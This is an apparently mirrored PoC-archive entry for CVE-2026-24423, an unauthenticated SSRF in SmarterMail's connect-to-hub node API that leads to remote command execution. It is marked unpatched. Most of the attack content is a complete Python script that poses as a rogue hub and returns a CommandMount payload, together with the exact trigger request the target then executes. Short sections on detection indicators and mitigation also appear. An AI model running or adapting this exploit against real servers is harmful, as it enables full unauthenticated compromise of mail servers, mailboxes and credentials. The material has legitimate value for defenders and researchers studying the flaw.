PoC Archive PoC Archive
Critical CVE-2026-24423 unpatched

SmarterMail ConnectToHub Unauthenticated SSRF Leading to Remote Command Execution — CVE-2026-24423

by aavamin (PoC credited to ChatGPT-assisted development) · 2026-07-05

Severity
Critical
CVE
CVE-2026-24423
Category
web
Affected product
SmarterMail (ConnectToHub / node clustering feature)
Affected versions
Not specified in source (SmarterMail versions exposing the node-management "connect to hub" API)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-01
Author / Researcheraavamin (PoC credited to ChatGPT-assisted development)
CVE / AdvisoryCVE-2026-24423
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagsssrf, smartermail, connecttohub, unauthenticated, trust-boundary, rce, mail-server, node-management
RelatedN/A

Affected Target

FieldValue
Software / SystemSmarterMail (ConnectToHub / node clustering feature)
Versions AffectedNot specified in source (SmarterMail versions exposing the node-management “connect to hub” API)
Language / PlatformPoC attacker-side server written in Python 3 (stdlib http.server); target is a .NET/Windows-based mail server
Authentication RequiredNo
Network Access RequiredYes

Summary

SmarterMail’s node-clustering feature allows an administrator to point a node at a “hub” server via the connect-to-hub API. The vulnerability is that the admin-level /api/v1/settings/sysadmin/connect-to-hub endpoint requires no authentication, and the server treats the “hub” it connects to as trusted: whatever configuration the remote hub returns (including a SystemMount/CommandMount field) is applied locally. This is a textbook trust-boundary violation combined with server-side request forgery — SmarterMail makes an outbound connection to an attacker-controlled address and then acts on attacker-supplied data as if it were legitimate cluster configuration, ultimately executing an attacker-chosen OS command (the PoC defaults to whoami). The PoC stands up a fake “hub” HTTP server that returns a malicious CommandMount value, then the attacker triggers the vulnerable SmarterMail endpoint to point at it.


Vulnerability Details

Root Cause

The connect-to-hub node-management API is unauthenticated and SmarterMail unconditionally trusts and acts on the SystemMount/CommandMount configuration returned by the “hub” address it is told to connect to, without validating that the hub is a legitimate, trusted peer.

Attack Vector

  1. Attacker stands up a rogue “hub” HTTP server (the included Python script) that listens on port 80 and responds to POST /web/api/node-management/setup-initial-connection with a JSON body containing a SystemMount object whose CommandMount field holds an OS command.
  2. Attacker sends an unauthenticated POST /api/v1/settings/sysadmin/connect-to-hub request to the target SmarterMail instance, with hubAddress pointing at the rogue server.
  3. SmarterMail’s server-side connects out to the attacker’s fake hub (SSRF) and receives the malicious configuration.
  4. SmarterMail applies the returned SystemMount/CommandMount configuration, causing the specified command to execute on the mail server host.

Impact

Unauthenticated remote command execution on the SmarterMail host, enabling full compromise of the mail server (mailbox access, further pivoting, credential theft) with zero prior authentication.


Environment / Lab Setup

Target:   SmarterMail instance with node-management/cluster API reachable
Attacker: Python 3 (stdlib only) to run the rogue hub server; Burp Suite or Yakit to send the trigger request

Proof of Concept

PoC Script

See CVE-2026-24423.py and whoami.png in this folder.

1
python3 CVE-2026-24423.py

The script starts an HTTP server on port 80 that simulates a SmarterMail hub: any POST to /web/api/node-management/setup-initial-connection receives a canned JSON response containing a SystemMount block whose CommandMount is set to whoami > C:\\whoami.txt. After starting the fake hub, the attacker sends a POST /api/v1/settings/sysadmin/connect-to-hub request to the target with hubAddress set to the attacker’s IP, causing the target to fetch and act on the malicious configuration and execute the embedded command.


Detection & Indicators of Compromise

POST /api/v1/settings/sysadmin/connect-to-hub  hubAddress=http://<attacker-ip> oneTimePassword=... nodeName=...

Signs of compromise:

  • SmarterMail server making unexpected outbound HTTP connections to unfamiliar external IPs shortly after a connect-to-hub API call.
  • Unexpected file writes or command execution artifacts on the mail server host (e.g. unplanned whoami.txt or similar output files).
  • connect-to-hub / node-management API calls with no corresponding legitimate administrative session or MFA event.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor SmarterMail advisories and apply the update once released.
Interim mitigationRequire authentication on all node-management/sysadmin API endpoints, restrict outbound connectivity from the mail server to only known/trusted hub IPs, and firewall the connect-to-hub endpoint from untrusted networks.

References


Notes

Mirrored from https://github.com/aavamin/CVE-2026-24423 on 2026-07-05.

CVE-2026-24423.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class Handler(BaseHTTPRequestHandler):
    def _send_json(self, code: int, obj: dict):
        data = json.dumps(obj).encode("utf-8")
        self.send_response(code)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)

    def do_POST(self):
        if self.path != "/web/api/node-management/setup-initial-connection":
            self._send_json(404, {"error": "not found", "path": self.path})
            return

        length = int(self.headers.get("Content-Length", "0"))
        body = self.rfile.read(length).decode("utf-8", errors="replace")
        print("[*] Received POST:", self.path)
        print("[*] Body:", body)

        resp = {
            "ClusterID": "f0e12780-f462-4b51-a7db-149f1d56209c",
            "SharedSecret": "any-value",
            "TargetHubs": {"a": "b"},
            "IsStandby": False,
            "SystemMount": {
                "Enabled": True,
                "ReadOnly": False,
                "MountPath": "C:\\\\",
                "CommandMount": "whoami > C:\\\\whoami.txt"
            },
            "SystemAdminUsernames": ["admin"]
        }
        self._send_json(200, resp)

def main():
    host = "0.0.0.0"
    port = 80
    print(f"Serving on http://{host}:{port}")
    HTTPServer((host, port), Handler).serve_forever()

if __name__ == "__main__":
    main()
#Powered by ChatGPT